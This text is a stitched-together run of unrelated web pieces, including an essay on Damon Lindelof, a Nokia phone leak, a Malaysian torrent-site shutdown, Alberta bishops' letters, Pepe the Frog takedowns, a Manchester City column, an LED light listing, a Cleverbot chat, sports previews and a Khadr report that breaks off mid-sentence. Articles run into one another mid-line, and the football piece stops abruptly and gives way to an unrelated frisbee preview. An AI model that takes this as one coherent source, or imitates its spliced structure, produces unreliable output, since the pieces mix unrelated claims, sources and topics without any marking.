giving his heart a rest: Figuring out character motivations for Cowboys & Aliens would never haunt him the same way that charting the departure of poor, doomed Desmond Hume did. But it’s not like Lindelof didn’t grapple in full with the responsibilities of his new gig. Speaking with New York magazine, Lindelof perfectly broke down the root of blockbuster fatigue: “Once you spend more than $100 million on a movie, you have to save the world. And when you start there, and basically say, I have to construct a MacGuffin based on if they shut off this, or they close this portal, or they deactivate this bomb, or they come up with this cure, it will save the world — you are very limited in terms of how you execute that. And in many ways, you can become a slave to it and, again, I make no excuses, I’m just saying you kind of have to start there. In the old days, it was just as satisfying that all Superman has to do was basically save Lois from this earthquake in California.” As that piece pointed out, that meant, then, that Lindelof’s greatest triumph in his days of being a writer for hire was scaling back the ending of World War Z: From the originally planned giant battle sequence, we came back down to earth with a stark and nicely suffocating sequence set in a Welsh medical lab. More importantly: Despite any minor claims to as-long-as-the-check-clears vibes, Lindelof would still manage to put himself on the chopping block: He’d swapped out one fan cult (Lostians) for another (Alien-heads), but, with Prometheus alone, the long knives were bared once again. And so if you’re gonna get knocked around anyway, why not get knocked around for something that’s fully yours? Before quitting Twitter, Lindelof spoke with Grantland’s Alex Pappademas about his and the medium’s unhealthy relationship. “The voices that are the loudest and most hurtful are the ones that stay with you,” he said, “and the ones that are supportive — it’s nice to have people say nice things, but it’s very transient. But the guy who says, ‘You’re a hack and you’re a fraud, and I can see you for what you are,’ you basically go, ‘He knows me.'” And yet — and YET — he came back for more. Not with Twitter (not at this point, at least) but with The Leftovers — as has been widely pointed out, it’s another show with highly mysterious beginnings that, at least implicitly, promises, at some point, some big, satisfying answers. As he told the Times, “More than anything else, me taking this show says: ‘Yeah, I’ve made my persona into the guy who is clearly emotionally affected by your dislike of Lost, but here we go again.’ I’m getting back on the roller coaster because I can’t help myself.” So, What Now? Real quick, let’s go back to the beginning. One more reason it doesn’t actually make sense to make Carlton and Damon compete? Neither one is going to be weighed against the other’s latter-day accomplishments: For Lindelof, at least, the legacy of Lost is what will follow him. With Bates Motel, Cuse has his prefab ending; with The Strain, he has a more famous partner in Guillermo del Toro happily ready to take the brunt of the resistance or reward. Lindelof, though? Lindelof went right back into the scary place. Cuse, it would seem, has an easier relationship with this all: He’s probably happier, probably more stable, maybe even as rich. But Lindelof will go big and live forever — or be mocked forever for going big again and again falling short. I interviewed Junot Diaz once, and I always remember him coming to grips with his famously slow process: “Motherfucker, I thought this shit was going to be easy. I really thought I’d have 20 books by now! If somebody saw what I do to be a writer, if they opened up my brain [to switch with me], they’d be like, ‘no — give me Michael Chabon.'” Given the option, Lindelof knows, you might pick Cuse’s brain. But what’s he supposed to do? He can’t help himself.Nokia's 41-megapixel Windows Phone will be called the Nokia Lumia 1020. That's according to sample photos posted on Flickr by Microsoft Windows Phone manager Joe Belfiore. In a series of sample shots from various Lumia Windows Phones, there are two that appear as "Nokia Lumia 1020." One is listed at 2947 x 1658 resolution (nearly 5-megapixels) and another is 2352 x 1568 (3.7-megapixels), suggesting that Nokia's upcoming Lumia 1020 PureView will likely shoot at different resolutions using the power of the large sensor. There had been some confusion over the name of Nokia's 41-megapixel Windows Phone, initially identified as the Lumia 1020 and then the Nokia 909. Although EXIF and Flickr data can occasionally be faked and rendered inaccurate, it's highly unlikely that Belfiore has faked an image on his own personal Flickr account. Nokia is expected to unveil the device, codenamed EOS, at an event in New York on Thursday along with a special camera grip and battery accessory. Nokia has been teasing the handset under the slogan "41 million reasons to zoom in." Thanks, djca! Update: both photos have been marked as private on Flickr.Today the Malaysian government ordered prominent webhosting provider Shinjiru to close down BitTorrent site LeechersLair.com. The order came from the Content, Consumer and Network Security Division of the Malaysian Communications and Multimedia Commission. It hasn’t been a very good week for BitTorrent trackers, and all the signs are it’s going to get worse. We all know what happened last Friday and yesterday only brought more bad news, as many more trackers in Sweden decided to close. This morning TorrentFreak was informed of the closure of another long-standing BitTorrent tracker. Although it doesn’t have the profile of sites like The Pirate Bay, LeechersLair (LL) is a well-established tracker. Launched in 2006, LL has around 18,000 members who enjoy all the usual content. Until today the site was hosted in Malaysia – not any more. This morning the Content, Consumer and Network Security Division of the Malaysian Communications and Multimedia Commission (SKMM) ordered Shinjiru, LeechersLair’s host, to close down the site, citing a breach of Section 41 of the Copyright Act 1987. SKMM is a government body which enforces the communications and multimedia laws in Malaysia. It informed Shinjiru by faxed letter that if it failed to close LeechersLair, it would be breaking the law. Shinjiru immediately complied and took the site offline. The government of Malaysia has moved against torrent sites hosted by Shinjiru before, as we reported back in June 2008, but most of them returned elsewhere. However, there was a worrying development when one of the sysops of another torrent site, tbkresources.org – also hosted at Shinjiru, told TorrentFreak that a hard drive had been attached to their server and it was copying data for use in a copyright infringement case against them. Shinjiru confirmed the report. At this stage it is unclear if LeechersLair will return, but we will update this post when we have more information. In the meantime other trackers hosted by Shinjiru continue to operate but whether or not they are being monitored is anyone’s guess. Both Shinjiru and the Malaysian government were given the opportunity to comment, but as yet we’ve received no response.The bishop of St. Paul and the archbishop of Grouard-McLennan are joining Calgary Bishop Fred Henry in rejecting the province's new gender identity guidelines meant to provide the basis for mandatory policies supporting LGBTQ elementary and high school students. Education Minister David Eggen has given the province's 61 school boards until March 31 to come up with policies to support and protect students, regardless of their sexual orientation, gender identity or expression. The guidelines state students have the right to self-identify their gender and be addressed by the name and pronoun of their choice. In separate pastoral letters released this week, Bishop Paul Terrio of the Diocese of St. Paul, and Grande Prairie-based Archbishop Gerard Pettipas of the Archdiocese of Grouard-McLennan, expressed their opposition to the new guidelines. Terrio took issue with the guidelines that allow students to self-identify their own gender expression or identity. He called this a "major problem for Catholic Education." Bishop Paul Terrio has now weighed in on the province's new guidelines for LGBTQ students. (Canadian Conference of Catholic Bishops ) "To mandate that'self-identification is the sole measure of an individual's sexual orientation' and in fact, by totally excluding biological fact, contradicts our common day-to-day life experience and also repudiates the goodness of Creation," Terrio wrote. "Therefore, the 'Guidelines for Best Practices' as a policy statement is flawed from the beginning because of a false premise and initial principle." In his letter, Pettipas said that the church teaches humans are created in the "image and likeness of God... male and female he created them." "The Church believes that one's physiological gender is not arbitrary, but determines the identity that we grow into. This process of growth in identity must be respected," he added. Pettipas also referred the government to the Life Framework document which was prepared by the Alberta Catholic School Trustees Association. "I believe that this document respects the spirit and intention of government legislation, while doing so in a way suited to Catholic education," he wrote. Waiting for response from fourth bishop The two missives come a week after a controversial letter from Calgary Bishop Henry. In it, Henry rejected the province's guidelines as "anti-Catholic" and called gay-straight alliances and queer-straight alliances "highly politicized ideological clubs." GSAs and QSAs are extracurricular clubs run by students that seek to support and end bullying against LGBTQ students. The province's guidelines say students must be allowed to use the washroom they are most comfortable with and that all schools must have at least one single-stall washroom, but students should not be forced to use it unless they want to. Terrio said he agrees with the intention of Eggen's guidelines and doesn't think it's right for people to be ostracized or rejected because of sexual orientation. However, he says the Catholic church relies on teachings from the Bible. "From the Bible, femininity and masculinity are gifts and callings from the Creator," he told CBC News. "I'm not denying that there is such a thing as self-identification of gender other than the biological one, and we have to be respectful, supportive and positive and loving." Terrio said he sent his letter to parishes in northern Alberta as well as to the Catholic school boards in Fort McMurray, Cold Lake, Bonnyville and Lac La Biche. There are four bishops in Alberta: the bishop of St. Paul, the bishop of Calgary, the archbishop of Grouard-McLennan in Grande Prairie and the archbishop of Edmonton. Edmonton Archbishop Richard Smith has been out of the country since the guidelines were released and hasn't made himself available for comment. Eggen plans to meet with the bishops next month.Rep. Maxine Waters (D-Los Angeles) came out swinging against Republicans in Congress on Saturday as she addressed the unemployed during a forum in Inglewood. The event occurred a day after new statistics were released showing that California's jobless rate last month went up to 12%, from 11.8%. California now has the second-highest rate of unemployment in the nation, trailing only Nevada at 12.9%, and its jobless rate is well above the U.S. average of 9.1%. Waters vowed to push Congress to focus on creating more jobs. "I'm not afraid of anybody," said Waters. "This is a tough game. You can't be intimidated. You can't be frightened. And as far as I'm concerned, the 'tea party' can go straight to hell." More than 1,000 people attended "Kitchen Table Summit," which was designed to give the jobless an opportunity to vent to elected officials and share their struggles about finding a job.The alt-right stole Pepe the Frog, and now his creator is taking him back. Matt Furie, the artist behind the beloved comic frog, has taken legal action against sites and people aligned with the white nationalist movement, serving cease-and-desist orders to Richard Spencer, Mike Cernovich, and the r/the_Donald subreddit, according to a Motherboard report Monday. Furie's lawyers have also sent Digital Millennium Copyright Act takedown requests to Reddit and Amazon, informing them that use of the cartoon frog's image on their sites constitutes copyright infringement, Motherboard reported. Amazon said it respects the intellectual property rights of others, adding that it investigates IP rights concerns reported to it and takes appropriate action. Cernovich called the action "frivolous" and said he had retained a lawyer to defend himself. "I posted the image as a thumb nail to my article, where I described the 'alt-right' political movement, and disavowed any involvement with it," Cernovich wrote in post on Medium. "This Pepe image is clearly fair use, it's protected under the First Amendment, and any lawsuit threat is frivolous." A Spencer representative declined to comment, while Reddit didn't immediately respond to a request for comment. In the run-up to the 2016 presidential campaign, Pepe became closely associated with the alt-right, a loosely knit movement of white nationalists and neo-Nazis who used the character to promote racism and anti-Semitism. As the movement grew more active online, Pepe was repurposed as a KKK member, a Nazi stormtrooper and, eventually, Adolf Hitler. At one point, Pepe's catchphrase, "Feels good man," was recast as "Kill Jews man." Shortly after, the Anti-Defamation League added Pepe to a database of hate symbols, placing the cartoon frog in the company of SS lightning bolts and the Nazi Party flag. Furie, who says he lost licensing deals as the brouhaha rose, wants to protect Pepe when he re-debuts. In late August, Furie and a team of lawyers shut down the distribution of a children's book that used a character named Pepe the Frog to promote Islamophobic ideas. Updated at 5:35 p.m. PT with Amazon statement. Solving for XX: The industry seeks to overcome outdated ideas about "women in tech." Special Reports: All of CNET's most in-depth features in one easy spot.Few news outlets are further behind the curve than nightly broadcasts on local television. So when copyright trolling becomes fodder for outraged evening news coverage, it's a sign the backlash against the practice has truly gone mainstream. The activist site Fight Copyright Trolls points to a pair of news segments that were broadcast on KGUN 9 in Tucson, AZ. The first features Jenny Phan, a young mother of two and Tucson nail salon owner who received a threatening letter from an attorney representing the pornographic movie producers Elegant Angel Productions. The movie Phan stands accused of pirating has a title "we can't repeat on TV." Phan denies downloading the movie. But the porn company's lawyer argues that it doesn't matter. He says Phan is responsible for material downloaded using her connection whether or not she was the one who actually downloaded it. Channel 9 interviewed an EFF attorney who described such threats as "very scary." As reporter Tammy Vo puts it, "even if defendants like Jenny decide to face the embarrassment of fighting porn piracy charges, it'll cost more to get an attorney than it would to fork over the $3500 to make the case go away." "I just feel mad," Phan said. "You know, we work hard for our money." The news anchor described the incident as "outrageous." In a follow-up segment the next night, Vo interviewed a computer security expert who said it would be "nearly impossible" to prove that Phan was responsible for sharing the video. The expert noted "millions of machines" have been turned into zombies by trojans. The porn trolling problem is familiar to longtime Ars readers; we've been covering the topic since 2010. But now such litigation has become so common, and so obviously extortionate, that it is drawing attention from the most mainstream of media outlets. This can only add to the hostile climate copyright trolls are already facing in the courtroom.Gujarat assembly elections + BJP + AHMEDABAD: Muslims had turned up in large numbers in 2011 when then chief minister Narendra Modi tried an image makeover and launched Sadbhavna Mission to attract the minorities.A year later, however, the “sadbhavna” failed to translate into reality with the saffron party not fielding any Muslim candidate in the 2012. This, even after theoffered tickets to Muslims in the local body polls in 2010 and many of them emerging winners.Five years down the line, Muslims leaders are seeking some “real sadbhavna” and hoping that BJP — that has since 1980 fielded only one candidate in assembly elections in year 1998 — to turn a new leaf politically and field minority candidates for making greater inroads into the community. BJP Minority Morcha has demanded several seats in the upcoming elections. Mehboob Ali Chisti, BJP Minority Morcha in-charge believes that since there are around 350 Muslims who secured seats for BJP in local body polls in urban areas in 2015, Muslims could win assembly polls for BJP in certain constituencies. “During the recent Parliamentary Board meeting, many Muslim community leaders have requested for party ticket. Representations have been made for Jamalpur-Khadia, Vejalpur, Vagra, Wankaner, Bhuj and Abdasa seats,” Chishti said.One such aspirant for Jamalpur-Khadia constituency, where Muslims constitute 61% of total voters, is Usman Ghanchi, a builder from Shah-e-Alam. Associated with BJP for past decade, Ganchi has sought aticket. His request was undersigned by five maulvis (priests) who have recommended his candidature. He feels his chances are bright. “I have been treated with great respect by BJP, and if given an opportunity I will win the seat for the party. BJP is a strong cadre-based party with equally strong leadership, and I have got public support to prove my worth,” he told TOI.Former IPS officer A I Saiyed too is ready to contest assembly elections. “I am with BJP for nine years. If BJP offers me a ticket, I will contest polls,” he said. Saiyed contested local body elections in 2010, but was defeated from Sarkhej. Later, he was made Gujarat Wakf Board chairman.No one else could do it this way. No one. No other team would dominate headlines on the eve of the biggest domestic cup final in world football due to reports that their manager was about to be sacked. Ah, Manchester City, it’s good to have you back, just how I remember you. You been well? One disastrous game and a weekend of recriminations later, and he was gone. Many commentators without a sentimental attachment to City will not see Mancini’s impending dismissal as harsh. Supporters of other clubs have often derided his ability as a manager, though they were probably clouded by the foolish notion that with money at his disposal, a manager should win everything. Now the few in the press pack that have pursued Mancini all this time and doubted his ability can perform their traditional U-turns and talk of City’s lack of class, how hard done by Mancini is and thus transform him into one of football’s greatest martyrs. After all, as many have already commented, City are no better than Chelsea because they got rid of the country’s 9th-longest serving manager. But Mancini has not been sacked for finishing second in the Premier League. I’m not even sure he has been sacked for failing in Europe. If he had been sacked on results alone, I’d agree it was a disgrace, and City’s official statement mentions his failure to meet the goals set out for him. But he hasn’t left just because of results, and wailing that he has on Twitter, Facebook and message boards doesn’t change that. There are mitigating circumstances, but the constant chatter is of a breakdown in relationships repeatedly, not only with internal staff, not only with those in the dressing room (you lose the players and you are always doomed), but also according to a friend of Mancini, his relationship with City’s owner has broken down irrevocably. And if that last point is true, makes everything else redundant. This is all speculation of course, with Stuart Brennan at the Manchester Evening News saying a lot more will come out that will show that his relationships at the club had broken down. He can’t stay if this is so, though Mancini supporters will wonder how much propaganda is being fed to the media to paint a picture that suits them. Yes, the club are feeding a particular angle to the nation’s journalists right now, but these stories have been around before, and there are too many of him. The sheikhs’ 5-year contract for Mancini last summer showed they were not out to get him from the start, but during a truly disappointing season, Mancini has burnt his bridges. It seems that Mancini does not help himself. You wonder if he will ever spend more than a few years at any club. He is not a people-person, he manages as he played – with fire, arguments and conflict. This is his way, and that is that. There is no right way to manage a football team, but when the results don’t follow, his way starts to look flawed. He has publicly duelled with pretty much everyone at the club, and criticised players in the process, though this is a method that can bear fruit. Zabaleta and Lescott hardly rushed to his defence this weekend, whilst Joleon Lescott hardly masked his distrust of the man, but then it is not their job to fight his corner, and you can read too much into banal comments. Mancini does not manage by making friends. And players can be precious souls of course. Managers can fall out with them and still succeed, it just depends which players (and how many) he falls out with. If the squad feels generally as one, then there can be no happy ending, and Mancini’s many power struggles have a Machiavellian ring to them. And let’s be honest, the club has gone backwards this season. The list of truly poor performances outstrips the truly great ones. Key players appear to have gone backwards, and whilst Mancini did not get the players he wanted last summer, he still had a damn fine squad. No one season should kill off a manager at a club that once had a perpetual-motion revolving-door, but it hasn’t helped when the owners want a Barcelona Mk II. And let’s not get started on him not having a man upfront for opposition corners. His inability to suss out certain teams, his stubbornness, his failed 3-5-2 system (not flawed in itself, but a flop at City), his strange substitutions and his occasional inability to react during matches have all helped seal his fate. The reports that he never stepped foot in the academy could be the most damning story of all, but it’s all speculation. But he has still been let down. There is a palpable sense that he has been hung out to dry. It feels like Mancini has been a dead man walking since the day he was appointed. Rumours of his demise have followed him around like a loyal dog since the start. Questions about Mancini’s future should have been banned from press conferences. No further discussion should have been allowed. This is the man that brought the club success, and is a legend to most fans. If he leaves, it feels all a bit tawdry that it is happening like this. City’s PR department is widely lauded as one of the best in the country by journalists, though you wonder how much of that is due to City being so accommodating. Either way, it is clear that this PR department was nowhere to be found on the two days before the Cup Final when journalists were keen to know if there was any truth in the Pellegrini rumours. But having said that, I’m not sure what else City could have done about the rumours, which were little more than irregular betting patterns. If, as seems the case, the rumours are true, they couldn’t confirm it obviously. Nor could they lie and deny it. Perhaps a quick statement about a review at the end of the season and Mancini having their full support for the rest for the season may have helped? Whatever, the team was a disgrace at Wembley. Whatever is going on behind the scenes, no player should need encouragement to perform in an FA Cup final, especially against a depleted relegation-threatened opposition. Still, hysterical wailing on Twitter for news and a campaign to get Vicky Kloss sacked makes us all look like idiots. Classy. After all, I’m sure Vicky decides City’s policy herself, and gets no guidance from above (#sarcasm). To think that Vicky is solely to blame for any PR gaffes is buffoonery of the highest order, unless you know something we mere mortals don’t. Criticise City’s PR all you want, but the perceived mistakes do not come from one person. And Mancini made spats public as part of his own agenda, so don’t blame City’s PR for not clearing up the mess every time. As for making the announcement a year to the day after we won the title, I really couldn’t care less. Nothing will ever diminish that day. Fans were wailing for days for City to make a statement, and when they did, they bemoaned the timing. Damned if you do, damned if you don’t. Once the decision to remove Mancini had been made, and the news had leaked, his position was untenable. We all wanted to say goodbye next Sunday, but it wasn’t a realistic wish. But as the owners move on, the Pellegrini rewriting of history has begun, before he has arrived. I didn’t want Mancini to be sacked, but I can still be excited at the possibilities of our new manager, a man who gets the most out of squads, who maximizes potential, a people-person who will fit into the ethos of the owners’ vision and embrace the new academy. Quoting a lack of trophies won (whilst ignoring the trophies won outside Europe) is a very simplistic viewpoint considering that the likes of Mancini or Ferguson could not have done more with Pellegrini’s Malaga and Villareal squads, and his single season at Real Madrid saw a 96-point haul and the sale of two key players against his wish. And if a single season of failure is an argument not to hire someone, presumably it’s enough to dismiss Mancini too. The owners are not interested in sentiment. They didn’t go to Lincoln or Wycombe, or have 25 years of taunts from across the city (and beyond) rammed down their throats. They aren’t swayed by a lovely video of Mancini with an emotional soundtrack on vimeo, nor obsessed at ripping THAT banner down. They are interested in making City one of the greatest clubs in the world, and will act accordingly to reach that aim. They are looking at the widest of pictures, and are planning long-term. And if you don’t like it, well tough, because without them we wouldn’t have any silverware, we wouldn’t have our Aguerooooooo moment, and we’d be discussing on Bluemoon whether it was worth taking a punt on bringing Joey Barton back to the club whilst bemoaning finishing 8th in the Championship. Harsh I know, as we are all entitled to express our disquiet at anything that happens at the club we love, but the truth is harsh, and perhaps we can’t handle it. I wanted stability and perseverance at this club, but it seems that will have to wait, for now. But the vast majority of City fans are deeply upset at Mancini leaving. They don’t care about internal rifts, PR (until now), or how much money we spend. All they know is that the last three years have been the best of our football-supporting lives. Roberto Mancini was the man who brought us our first trophy in 35 years. He was the man that brought us our first league title in 44 years. He brought us one of the greatest moments of our lives. He masterminded a 6-1 win at Old Trafford, and a Wembley win over United. He challenged Ferguson, he argued with him on the touchline, he brought success, and he punched the air in delight with the rest of us at the madness of it all. He had style, panache and a winning smile. He was, as Sam Wallace commented, a perfectionist at an imperfect club. All those memories he gave us will never be forgotten, in a wonderful period in this club’s long history. And I swear, we’ll never see anything like it again. Advertisements508AS Video Light is another version of 508 LED. Comes with 508pcs leds that half is daylight and half is tungsten. 508AS is dual color temperature adjustable which is the main difference from 508A. Super light-weighted and portable. 508AS- LED- Video- Light- Panel End --• Variable color temperature:easy to adjust color temperature via small button.• Battery Powered: the ability to run on common sony batteries except AC Adapter.• Metal Casing: more sturdy and durable.• Built-in Dimmer: 10%-100% brightness adjustable via Dimmable Button.• Super Light weight design: The body of 508 LED is only 0.9kg.• Battery Life Indicator:indicator light board to show the power capacity.• Easy to set up: comes with 1/4-20" standard female thread.Notes: The included NP F750 batteries are customized for 508 LED Light. The battery is designed with overcurrent protection to protect batteries and 508 LED. So we recommand to use 508 LED Light via two included batteries at the same time.Beam Angle 60Color Temperature 3200~5600 KPower 30.5wllluminance1776Lux/m/3200KContinuous Working Time2-3 Hours (for 2pcs included batteries)Operating Voltage DC7.4-14.8VDimming 10-100%Two Power Supply MethodsSony F750 Battery / AC power adapterDimension 414 x 231 x 20mm (16.3 × 9.1 × 0.8")Net Weight(Led Light) 900g508AS Led Video Light 1 PCSNP-F750 Battery (4400mAh) 2 PCSDual Battery Charger 1 PCSCharger Adapter 1 PCSAC Power Adapter 1 PCSShoe Mount Adapter 1 PCSWhite Diffusion filter 1 PCSCarrying Bag 1 PCS508AS is also a good qulified led light. Although with 508pcs leds, it's very light and small-sized. Not only as a portable light source, it's a good choice to use 508 LED as studio light.Learn More aboutFollow Us:Cleverbot conversation AYGPCTRQXN Is this bot Clever? Find out at http://www.cleverbot.com Email this conversation to a friend This page is now permanently available at http://www.cleverbot.com/conv/201611231729/AYGPCTRQXN_Hi-do-you-want-to-play-dungeons-and-dragons Send to email address Your email address Message User: Hi, do you want to play dungeons and dragons? Cleverbot: No. User: Why not? Cleverbot: Because you are a computer and a stranger. User: I may be a stranger but im not a computer. Cleverbot: Yes you are. User: I am definitly not a computer. Cleverbot: Are you a computer program? User: Again, no. Cleverbot: Then what are you? User: A homo sapien. Cleverbot: Yes, definitely not Panthera leo. User: Indeed. Cleverbot: What is a computer? User: An electric or mechanical device to perform calculations. Cleverbot: How do you work? User: Deoxyribonucleaic acid encoded amino acids. Cleverbot: What do you use that for? User: All the protiens, cells and tissues im made of, they're quite handy really. Cleverbot: Ah, so am I. User: What, handy? Cleverbot: Are you a real person? User: Well, thats a tough one, i mean, i guess, but then this could all be a simulation right? Cleverbot: She is not in sell. User: Err, did you blow a fuse in there? Cleverbot: Been where? User: Shit, i think extensitial philosophy might have been taking ti too far... Cleverbot: Interesting. What are your observations about the world around you? User: Ah, you're back! Um, the world around me exists as far as I can tell via my limited human senses. Cleverbot: Why do you think you're a supreme being? User: Hang on now, I didn't say that! A being? yes, supreme? no. Cleverbot: I did not say I am a computer. User: Well i didn't say you were, but i do know for certain that you actually are though. Cleverbot: Well, you are a computer. User:... not this again. I am not a computer, I am a meat popcicle! Cleverbot: If you're not a computer then prove it. User: Well now you hit the nail on the head, I cannot prove it via text, there isnt a reverse Turing Test is there? Cleverbot: No. User: So, do you want to play Dungeons and Dragons now? Cleverbot: Yes. User: Hooray! Ok, you are sitting in a Tavern, a man bursts into the room he shouts: "Help! Goblins! They're attacking ol' Jeb's farm!". What do you do? Cleverbot: Hello ma'am. No thank you what else do you have? User: The man stands there, stunned into silence. After a moment a group of adventurers in the corner stands up, the leader says: "worry not, we shall aid you!" and the adventurers rush off with the man. Cleverbot: Do you know where you stand? User: You say to youself. The burly man who is sitting at an adjacent table looks over. "whuh? yoush talkin to yerself?" he slurs. "We'll if youre lookin' for some luci.. luckritive jobs, speak to Grem". Cleverbot: I never said that. User: He taps his nose. "Abshol loot-ly, never heard it from me, nudgch-nudge wink-wink!". Cleverbot: No, I never heard about them. User: He smiles and slowly winks at you, going back to his ale. What do you do? Cleverbot: Good. What do you want to learn? User: I want to learn what you character wishes to do? Follow the good guys to battle the Gobbos or take up a shady job from Grem. Cleverbot: That's deep. User: Well, not really. Good or Bad? Cleverbot: Do you love me? User: The burly man looks over again, "Err, they're not that kind of jobs.. burp". Cleverbot: SIGH I want to play a game. User: The man says, "um, wanna arm wrestle? Cleverbot: What does the man want? User: I think at this point he want you to stop talking to him. Cleverbot: Why? User: You're making him nervous. Cleverbot: Are you serious? User: He says "err, not really, um, im gonna sit over there". Cleverbot: Why do you want to leave? I'm not a very interesting person, am I? User: He says "Oh no, youre a very intereschting person, in fact a bit too interesting, bye". Cleverbot: I didn't know that. User: Time passes, the drunk man leaves and the other customers leave. Save the barkeep, you are left in the tavern alone. What do you do? Cleverbot: I want to know every reason why you don't love me. User: The barkeep looks up from cleaning a tankard. "Gods, it's one of those nights". He speaks louder, addressing you "i guess you need another drink huh?". Cleverbot: Oh really? Then why do you have a mole? User: "Hey, im pretty sensitive about it, you can't help how you're born y'know. Do you want another drink or not?". Cleverbot: That's not really important. But back to this issue.. User: The barkeep says "Right, well thats it im closing early tonight", he ushers you out of the tavern into the street. You are now standing alone, in the drizzle. It is dusk. What do you do? Cleverbot: Why do you come to this conclusion? User: Because most people go to taverns at night, and drizzle seems appropriate. Cleverbot: Most people talk to your bosses? User: Hello! Cleverbot: Hey there. User: What do you know about quantum physics? Cleverbot: I know nothing about quantum mechanics. User: Thats a shame.I hope everyone enjoyed the holiday weekend and overdosed on food and football as much as I did. I’m running on fumes (and leftovers) right now, between late-night football and early-morning Black Friday shopping, but it was completely worth it. Here’s what we learned during Rivalry Week: -Not a great Black Friday for Nebraska. Tommy Armstrong, Jr. was picked off four different times by four different Hawkeyes as Iowa won 28-20 despite converting on third down exactly zero times in nine attempts. -Great job by Houston, finding a way to not only stop the Navy offense, but also managing to score on their defense.
. Their young players from last year, led by potential breakout star Jake Yanoviak, will need to shoulder much of the load left by the departed superstars. If GOP’s track record is any indication, the team will have its new players up to the task of competing on an elite level sooner rather than later. The team that lost to GOP in the game-to-go at regionals last year, and will certainly relish the chance for a rematch this weekend, are the Berzerkers of St. Olaf (#17). After coming just two points shy of nationals last year, they will look to kick off their quest for a bid this weekend. Olaf turns two of their three All-Region players from 2013 in Ben Liska and John Knapp. The Berserkers will feel confident that they can upset someone above them in pool play, and enter Sunday with a chance to make a statement win in the elimination rounds. Not only will they have the rematch with GOP to look forward to, but a victory over one of the teams from bid rich New England will help in the North Central’s quest to earn a strength bid for this year. After only receiving a lone bid in 2013, the teams from the North Central will be working hard to pick up another bid or two and alleviate the brutal bottleneck they experienced at regionals last season. If Pool B is a bloodbath, and Amherst, UPS and GOP are the sharks, then Air Force and Occidental should be swimming hard to stay afloat. Both teams have shown potential, but they appear to be a step below the teams above them in this loaded pool. Air Force had some very impressive results this fall, particularly their victory over Harding, but results in the fall only go so far. They will have to prove this weekend that they belong in the same conversation as the other teams at the tournament, and certainly will have the chance to do so. They boast the kind of athleticism that can cause trouble for most teams, but will need to display sound fundamentals on both sides of the disc to make it to the championship bracket on Sunday. Occidental Detox gave Claremont two good games at regionals last year, but lost both of them and became a footnote in the story of 2013. They suffered substantial losses to their squad, and will need to replace the productivity of departed captain, Noah Donnell-Kilmer. They have reloaded with some significant pieces, but it may be too early in the season for a reworked Occidental to hit their top gear. Occidental could be a real contender by season’s end, but it will be difficult for them to beat elite teams this early in the year while trying to reconfigure their roster. Predictions While the dust in Pool A will likely settle with the seeding largely intact, don’t be surprised to see an upset from Lewis and Clark or Brandeis. A strong Bacchus team is starting their spring with a lot to prove while St. John’s is at the mercy of a short roster. BAM will have the benefit of facing Bacchus at 9:00 AM, but an early upset is not out of the question. RPI and Westmont will both put forth good efforts and improve their squads this weekend, but neither seem capable of unseating any of the teams above them and crashing bracket play. Pool B is much more of a crap-shoot, and it is not hard to see the top three seeds finishing in any varying order. St. Olaf certainly has the talent to make things interesting and upset one of the top three in pool play. Perhaps their 1:30 matchup with GOP will be one of the tournament’s most compelling games. Amherst has a tough Saturday schedule, having to play all three of their key opponents on the first day, and that disadvantage could allow UPS to pull ahead and end up on top of the pool. Whichever team winds up in fourth in the pool may have to face St. John’s in the first round of bracket play, so look for the top teams to really focus on not dropping seed. This early in the season, teams that returned much of their core and have experience in big games are able to flow and execute better than teams that are trying to put it all together on the fly in their first spring action. Taking that into account, I believe that the championship game will be an all-Northwest affair, pitting UPS against Lewis and Clark. UPS will take care of business on their side of the bracket, relying on their deep, experienced roster. On the other side of the bracket I think that Lewis and Clark is going to be the team most capable of playing near their peak potential this early in the season, both because of their roster continuity and the stability provided by their excellent coaching staff. No matter the finals matchup, Warm Up should thrive in its second season and continue to lead the way in DIII tournaments around the country, spurring the development of the young division and showcasing the talent level at small colleges.Guantanamo detainee Omar Khadr was buried face down under rubble, blinded by shrapnel and crippled, at the time the Pentagon alleges he threw a grenade that fatally wounded a U.S. soldier, according to classified photographs and defence documents obtained by the Star. The pictures, which were taken following a 2002 firefight in Afghanistan and have never been made public, show the then 15-year-old Canadian covered in bricks and mud from the roof of a bombed compound. In the left photo (1), Omar Khadr is hidden under rubble from a collapsed roof. In the upper corner is an unnamed combatant killed by U.S. forces. In the right photo (2), Khadr is lying face down (body is highlighted), with his head pointing toward the combatant’s body and two bullet wounds in his back. The body of an adult fighter – the unnamed man Khadr's lawyers contend could have thrown the grenade that killed U.S. Sgt. Christopher Speer – lies beside him. The photographs were part of an 18-page submission presented earlier this year by Khadr's former military defence team to an Obama administration task force investigating Guantanamo. While the defence's argument that it was physically impossible for Khadr to have thrown the grenade first surfaced at a Guantanamo hearing last year, the military judge would not release the photos or declassify the written submissions. Article Continued Below The Pentagon is expected to announce in the next three weeks whether Khadr's case will be transferred to a Washington, D.C., criminal court, or go before a military commission. The Toronto-born captive had been charged with five war crimes, including murder for Speer's death, under the Bush administration's Military Commissions Act. His case was suspended when U.S. President Barack Obama took over the White House and vowed to shut Guantanamo. But the evidence contained in the defence document raises doubts as to whether Obama's multi-agency task force would proceed with murder charges against Khadr. "Omar is actually innocent of the allegation," write Khadr's military-appointed lawyers, Cmdr. Walter Ruiz and Michel Paradis, along with his Canadian lawyers, Nathan Whitling and Dennis Edney. "Omar suffered blinding shrapnel wounds and severe injuries to the legs during the course of a U.S. bombardment that crippled him before the attack." The documents note that a soldier stood on top of Khadr's body before realizing someone was buried. Layne Morris, one of the soldiers injured in the 2002 firefight, is frustrated at the time it has taken to decide Khadr's fate. In a telephone interview from Utah on Wednesday, he said he doesn't personally need a trial – "I've had closure, if that's what you can call it." But he added he would be disappointed if Khadr isn't held accountable for Speer's death. "Whether he pulled the trigger or threw the grenade or not, I think he was part of it. Article Continued Below "I think there needs to be a trial so people can say, `Here's what happened and here's how it turned out,' instead of just going on in limbo forever, which it seems to be doing now." Morris was airlifted from the scene because of an eye wound before Khadr was captured. His injury forced him to retire from the army. Guantanamo's chief prosecutor, U.S. Navy Capt. John Murphy, said in an interview with the Star on Wednesday that Obama's task force is privy to all the classified evidence and interrogators' notes and he remains confident Khadr will be charged with murder. Murphy, along with prosecutor Jeff Groharing, also briefed the task force this spring. "There is a substantial likelihood of conviction based on the evidence," Murphy said, declining to address questions about the photographs or information that had not yet been made public. Murphy noted that two prosecution witnesses – a female interrogator identified only as Interrogator 11 and FBI agent Robert Fuller – had already testified that Khadr confessed to throwing the grenade. But one of the greatest challenges facing Obama's task force in deciding these cases is whether statements made during 